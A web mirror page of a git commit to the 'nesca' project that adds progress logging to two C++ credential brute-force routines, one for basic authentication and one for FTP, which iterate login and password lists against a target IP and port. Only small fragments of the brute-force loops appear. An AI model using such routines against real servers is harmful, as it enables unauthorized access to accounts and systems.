mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
Added FTP/BA progress info.
This commit is contained in:
parent
c13d881b06
commit
4c8c4c557a
@ -36,6 +36,7 @@ lopaStr BA::_BABrute(const char *ip, const int port) {
|
|||||||
ZeroMemory(lps.login, sizeof(lps.login));
|
ZeroMemory(lps.login, sizeof(lps.login));
|
||||||
ZeroMemory(lps.pass, sizeof(lps.pass));
|
ZeroMemory(lps.pass, sizeof(lps.pass));
|
||||||
ZeroMemory(lps.other, sizeof(lps.other));
|
ZeroMemory(lps.other, sizeof(lps.other));
|
||||||
|
int passCounter = 0;
|
||||||
|
|
||||||
strcpy(lps.login, "UNKNOWN");
|
strcpy(lps.login, "UNKNOWN");
|
||||||
|
|
||||||
@ -53,6 +54,10 @@ lopaStr BA::_BABrute(const char *ip, const int port) {
|
|||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
||||||
|
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||||
|
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||||
|
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -19,6 +19,7 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) {
|
|||||||
|
|
||||||
strcpy(lps.login, "UNKNOWN");
|
strcpy(lps.login, "UNKNOWN");
|
||||||
int res = 0;
|
int res = 0;
|
||||||
|
int passCounter = 0;
|
||||||
|
|
||||||
for(int i = 0; i < MaxLogin; ++i)
|
for(int i = 0; i < MaxLogin; ++i)
|
||||||
{
|
{
|
||||||
@ -42,7 +43,11 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) {
|
|||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
|
|
||||||
Sleep(70);
|
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
||||||
|
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||||
|
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||||
|
|
||||||
|
Sleep(100);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user